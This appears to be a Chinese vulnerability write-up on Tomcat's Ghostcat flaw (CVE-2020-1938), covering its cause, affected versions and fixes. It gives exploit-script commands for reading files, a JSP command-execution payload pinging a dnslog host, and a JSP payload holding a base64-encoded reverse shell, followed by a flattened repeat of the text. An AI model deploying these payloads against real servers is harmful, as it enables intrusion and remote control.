JAVA安全之CVE-2020-1938复现和分析
字数 1889 2025-08-11 17:40:12

Apache Tomcat AJP协议漏洞(CVE-2020-1938)分析与复现指南

一、漏洞概述

1.1 漏洞基本信息

  • 漏洞名称: Apache Tomcat AJP协议文件读取/包含漏洞
  • CVE编号: CVE-2020-1938
  • 别名: Ghostcat漏洞
  • 危险等级: 高危
  • 漏洞类型: 文件读取/包含导致远程代码执行

1.2 漏洞影响范围

  • Apache Tomcat 9.x < 9.0.31
  • Apache Tomcat 8.x < 8.5.51
  • Apache Tomcat 7.x < 7.0.100
  • Apache Tomcat 6.x (所有版本)

1.3 漏洞前提条件

  1. Tomcat运行在受影响版本范围内
  2. AJP Connector处于开启状态(默认开启)
  3. 攻击者能够访问AJP服务端口(默认8009)

二、漏洞原理分析

2.1 AJP协议简介

AJP(Apache JServ Protocol)是Tomcat与前端Web服务器(如Apache HTTPD)通信的二进制协议,相比HTTP协议更高效。默认配置下,Tomcat会监听8009端口处理AJP请求。

2.2 漏洞成因

漏洞存在于Tomcat对AJP协议请求的处理过程中:

  1. 请求属性控制:

    • org.apache.coyote.ajp.AjpProcessor.prepareRequest()方法中,攻击者可以通过AJP协议控制request对象的属性
    • 特别是可以控制以下三个关键属性:
      • javax.servlet.include.request_uri
      • javax.servlet.include.path_info
      • javax.servlet.include.servlet_path
  2. 文件读取路径控制:

    • org.apache.catalina.servlets.DefaultServlet中,通过控制上述三个属性可以操纵文件读取路径
    • getRelativePath()方法会根据这些属性构造最终的文件路径
  3. 文件包含执行:

    • 当请求映射到org.apache.jasper.servlet.JspServlet时,同样可以利用这些属性控制jsp文件的路径
    • 导致可以包含并执行任意文件内容

2.3 漏洞利用方式

2.3.1 任意文件读取

通过操纵AJP请求属性,可以读取Web应用目录下的任意文件,包括:

  • /WEB-INF/web.xml - 应用配置文件
  • /WEB-INF/classes/ - 编译后的Java类文件
  • /WEB-INF/lib/ - 依赖库文件

2.3.2 远程代码执行(RCE)

结合文件上传功能实现:

  1. 上传包含恶意JSP代码的文件(可以是任意格式,如.txt、.jpg等)
  2. 通过AJP漏洞包含该文件
  3. Tomcat会以JSP方式解析执行文件内容

三、漏洞复现

3.1 环境准备

3.1.1 漏洞环境搭建

  1. 下载受影响版本的Tomcat(如8.5.32):
    https://github.com/backlion/CVE-2020-1938/blob/master/apache-tomcat-8.5.32.zip
    
  2. 安装并配置JDK环境
  3. 启动Tomcat服务(默认会开启8009端口的AJP服务)

3.1.2 利用工具准备

下载漏洞利用脚本:

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
cd CNVD-2020-10487-Tomcat-Ajp-lfi/
chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py

3.2 漏洞利用演示

3.2.1 文件读取

读取WEB-INF/web.xml文件:

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 目标IP -p 8009 -f WEB-INF/web.xml

3.2.2 命令执行

  1. 上传包含恶意代码的文件(如test.txt)
  2. 使用文件包含POC执行命令:
    python "文件包含(CVE-2020-1938).py" 目标IP -p 8009 -f /test.txt
    

示例恶意代码(执行ping命令):

<% 
java.io.InputStream in = Runtime.getRuntime().exec("ping fiohed.dnslog.cn").getInputStream(); 
int a = -1; 
byte[] b = new byte[2048]; 
out.print("<pre>"); 
while((a=in.read(b))!=-1){ 
    out.println(new String(b)); 
} 
out.print("</pre>");
%>

3.2.3 反弹Shell

  1. 生成Base64编码的反弹Shell命令(使用在线工具如http://www.jackson-t.ca/runtime-exec-payloads.html)
  2. 构造JSP代码:
<% 
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC41LzE4ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream(); 
int a = -1; 
byte[] b = new byte[2048]; 
out.print("<pre>"); 
while((a=in.read(b))!=-1){ 
    out.println(new String(b)); 
} 
out.print("</pre>");
%>

四、修复方案

4.1 临时缓解措施

  1. 关闭AJP服务

    • 编辑conf/server.xml文件
    • 注释或删除以下配置:
      <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
      
    • 重启Tomcat服务
  2. 网络层限制

    • 使用防火墙限制8009端口的访问,仅允许可信IP访问

4.2 彻底修复方案

升级到安全版本:

  • Tomcat 9.x 用户升级到 9.0.31+
  • Tomcat 8.x 用户升级到 8.5.51+
  • Tomcat 7.x 用户升级到 7.0.100+

五、参考资源

  1. 官方漏洞公告
  2. POC下载地址: https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read
  3. Bash编码工具: http://www.jackson-t.ca/runtime-exec-payloads.html
Apache Tomcat AJP协议漏洞(CVE-2020-1938)分析与复现指南 一、漏洞概述 1.1 漏洞基本信息 漏洞名称 : Apache Tomcat AJP协议文件读取/包含漏洞 CVE编号 : CVE-2020-1938 别名 : Ghostcat漏洞 危险等级 : 高危 漏洞类型 : 文件读取/包含导致远程代码执行 1.2 漏洞影响范围 Apache Tomcat 9.x < 9.0.31 Apache Tomcat 8.x < 8.5.51 Apache Tomcat 7.x < 7.0.100 Apache Tomcat 6.x (所有版本) 1.3 漏洞前提条件 Tomcat运行在受影响版本范围内 AJP Connector处于开启状态(默认开启) 攻击者能够访问AJP服务端口(默认8009) 二、漏洞原理分析 2.1 AJP协议简介 AJP(Apache JServ Protocol)是Tomcat与前端Web服务器(如Apache HTTPD)通信的二进制协议,相比HTTP协议更高效。默认配置下,Tomcat会监听8009端口处理AJP请求。 2.2 漏洞成因 漏洞存在于Tomcat对AJP协议请求的处理过程中: 请求属性控制 : 在 org.apache.coyote.ajp.AjpProcessor.prepareRequest() 方法中,攻击者可以通过AJP协议控制request对象的属性 特别是可以控制以下三个关键属性: javax.servlet.include.request_uri javax.servlet.include.path_info javax.servlet.include.servlet_path 文件读取路径控制 : 在 org.apache.catalina.servlets.DefaultServlet 中,通过控制上述三个属性可以操纵文件读取路径 getRelativePath() 方法会根据这些属性构造最终的文件路径 文件包含执行 : 当请求映射到 org.apache.jasper.servlet.JspServlet 时,同样可以利用这些属性控制jsp文件的路径 导致可以包含并执行任意文件内容 2.3 漏洞利用方式 2.3.1 任意文件读取 通过操纵AJP请求属性,可以读取Web应用目录下的任意文件,包括: /WEB-INF/web.xml - 应用配置文件 /WEB-INF/classes/ - 编译后的Java类文件 /WEB-INF/lib/ - 依赖库文件 2.3.2 远程代码执行(RCE) 结合文件上传功能实现: 上传包含恶意JSP代码的文件(可以是任意格式,如.txt、.jpg等) 通过AJP漏洞包含该文件 Tomcat会以JSP方式解析执行文件内容 三、漏洞复现 3.1 环境准备 3.1.1 漏洞环境搭建 下载受影响版本的Tomcat(如8.5.32): 安装并配置JDK环境 启动Tomcat服务(默认会开启8009端口的AJP服务) 3.1.2 利用工具准备 下载漏洞利用脚本: 3.2 漏洞利用演示 3.2.1 文件读取 读取WEB-INF/web.xml文件: 3.2.2 命令执行 上传包含恶意代码的文件(如test.txt) 使用文件包含POC执行命令: 示例恶意代码(执行ping命令): 3.2.3 反弹Shell 生成Base64编码的反弹Shell命令(使用在线工具如http://www.jackson-t.ca/runtime-exec-payloads.html) 构造JSP代码: 四、修复方案 4.1 临时缓解措施 关闭AJP服务 : 编辑 conf/server.xml 文件 注释或删除以下配置: 重启Tomcat服务 网络层限制 : 使用防火墙限制8009端口的访问,仅允许可信IP访问 4.2 彻底修复方案 升级到安全版本: Tomcat 9.x 用户升级到 9.0.31+ Tomcat 8.x 用户升级到 8.5.51+ Tomcat 7.x 用户升级到 7.0.100+ 五、参考资源 官方漏洞公告 POC下载地址: https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_ include-file_ read Bash编码工具: http://www.jackson-t.ca/runtime-exec-payloads.html